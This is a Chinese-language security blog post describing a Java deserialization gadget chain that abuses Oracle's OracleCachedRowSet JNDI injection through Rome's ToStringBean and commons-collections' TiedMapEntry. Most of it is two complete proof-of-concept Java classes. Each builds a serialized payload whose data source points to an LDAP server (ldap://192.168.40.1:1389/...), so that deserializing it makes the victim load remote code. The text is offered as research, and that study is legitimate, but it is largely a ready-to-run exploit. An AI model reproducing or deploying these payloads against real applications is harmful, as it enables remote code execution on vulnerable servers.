这个链是参考的unam4师傅的文章,首先需要用到的包分别是<=rome1.11.1 <=ojdbc819.17.0.0,其中除了原生的gedget还会用到commons-collections
没错cc的链不限制版本。
这个链最终原因是因为oracle存在JNDI注入导致的,oracle.jdbc.rowset.OracleCachedRowSet#
getConnectionInternal图一,161行很明显的进行了JNDI注入其中this.getDataSourceName()在其父类中可控,
那么刚好在上面getConnection中存在调用getConnectionInternal,看到这里根据以前学的知识很快想到了用过Getter执行,首先先打一下jndi图二代码一。
上面我们得知了现在需要getConnection,那么就需要用到rome,这里我就细讲了,可以看历史文章,
这个链相当简单的,唯一需要注意的就是在之心getter的时候会先执行到getOriginal需要修改参数不等于空就可以了payload代码一
import com.rometools.rome.feed.impl.ToStringBean;
import oracle.jdbc.rowset.OracleCachedRowSet;
import oracle.jdbc.rowset.OracleRowSetMetaData;
import javax.management.BadAttributeValueExpException;
import javax.sql.RowSetInternal;
import javax.sql.rowset.RowSetMetaDataImpl;
import javax.xml.transform.Templates;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.sql.SQLException;
public class Main123 {
public static void main(String[] args) throws Exception {
//反射修改属性值进行JNDI注入
Class<?> aClass = Class.forName("oracle.jdbc.rowset.OracleCachedRowSet");
Constructor<?> declaredConstructor = aClass.getDeclaredConstructor();
declaredConstructor.setAccessible(true);
OracleCachedRowSet o = (OracleCachedRowSet)declaredConstructor.newInstance();
Method declaredMethod = aClass.getDeclaredMethod("setDataSourceName", String.class);
declaredMethod.setAccessible(true);
declaredMethod.invoke(o, "ldap://192.168.40.1:1389/ai2tnm");
//因为通过Getter触发所以先执行了getOriginal才会执行getConnection,所以修改setMetaData不是空
Class<?> aClass1 = Class.forName("javax.sql.rowset.RowSetMetaDataImpl");
Constructor<?> declaredConstructor1 = aClass1.getDeclaredConstructor();
declaredConstructor1.setAccessible(true);
RowSetMetaDataImpl o1 =(RowSetMetaDataImpl)declaredConstructor1.newInstance();
o.setMetaData(o1);
//通过ToStringBean执行toString触发getter方法
ToStringBean toStringBean = new ToStringBean(RowSetInternal.class, o);
//通过BadAttributeValueExpException执行getter触发toString
BadAttributeValueExpException badAttr = new BadAttributeValueExpException(null);
Field valField = BadAttributeValueExpException.class.getDeclaredField("val");
valField.setAccessible(true);
valField.set(badAttr, toStringBean);
serialize(badAttr);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws Exception {
//序列化
ObjectOutputStream oos= new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String name) throws Exception {
//反序列化
ObjectInputStream ois= new ObjectInputStream(new FileInputStream(name));
Object o = ois.readObject();
return o;
}
}
本质就是通过调用ToString之后,在通过cc链TiedMapEntry.getValue调用get接着同类中hashCode调用了 getValue,HashMap执行了hashCode,
就是dns的链大差不差,不懂的话我都有注释代码一。
import com.rometools.rome.feed.impl.ToStringBean;
import oracle.jdbc.rowset.OracleCachedRowSet;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import javax.management.BadAttributeValueExpException;
import javax.sql.RowSetInternal;
import javax.sql.rowset.RowSetMetaDataImpl;
import javax.swing.*;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Locale;
import java.util.Map;
public class Main1234 {
public static void main(String[] args) throws Exception {
Class<?> aClass = Class.forName("oracle.jdbc.rowset.OracleCachedRowSet");
Constructor<?> declaredConstructor = aClass.getDeclaredConstructor();
declaredConstructor.setAccessible(true);
OracleCachedRowSet o = (OracleCachedRowSet)declaredConstructor.newInstance();
Method declaredMethod = aClass.getDeclaredMethod("setDataSourceName", String.class);
declaredMethod.setAccessible(true);
declaredMethod.invoke(o, "ldap://192.168.40.1:1389/ai2tnm");
Class<?> aClass1 = Class.forName("javax.sql.rowset.RowSetMetaDataImpl");
Constructor<?> declaredConstructor1 = aClass1.getDeclaredConstructor();
declaredConstructor1.setAccessible(true);
RowSetMetaDataImpl o1 =(RowSetMetaDataImpl)declaredConstructor1.newInstance();
o.setMetaData(o1);
//通过toString触发getter
ToStringBean toStringBean = new ToStringBean(RowSetInternal.class, o);
//通过get触发toString
Class<?> aClass2 = Class.forName("javax.swing.UIDefaults$TextAndMnemonicHashMap");
Constructor<?> declaredConstructor2 = aClass2.getDeclaredConstructor();
declaredConstructor2.setAccessible(true);
HashMap o2 = (HashMap)declaredConstructor2.newInstance();
//创建TiedMapEntry实例,通过getValue触发get,再通过hashCode触发getValue
Class<?> aClass3 = Class.forName("org.apache.commons.collections.keyvalue.TiedMapEntry");
Constructor<?> declaredConstructor3 = aClass3.getDeclaredConstructor(Map.class, Object.class);
declaredConstructor3.setAccessible(true);
TiedMapEntry o3 = (TiedMapEntry)declaredConstructor3.newInstance(o2, toStringBean);
//put触发hashCode,再通过反射修改put的值
HashMap<Object, Object> objectObjectHashMap = new HashMap<>();
objectObjectHashMap.put("XinYiSec","XinYiSec");
Field tableField = HashMap.class.getDeclaredField("table");
tableField.setAccessible(true);
Object[] table = (Object[]) tableField.get(objectObjectHashMap);
for (Object entry : table) {
if (entry != null) {
Field keyField = entry.getClass().getDeclaredField("key");
keyField.setAccessible(true);
keyField.set(entry, o3);
break;
}
}
serialize(objectObjectHashMap);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws Exception {
//序列化
ObjectOutputStream oos= new ObjectOutputStream(new FileOutputStream("ser.bin"));
oos.writeObject(obj);
}
public static Object unserialize(String name) throws Exception {
//反序列化
ObjectInputStream ois= new ObjectInputStream(new FileInputStream(name));
Object o = ois.readObject();
return o;
}
}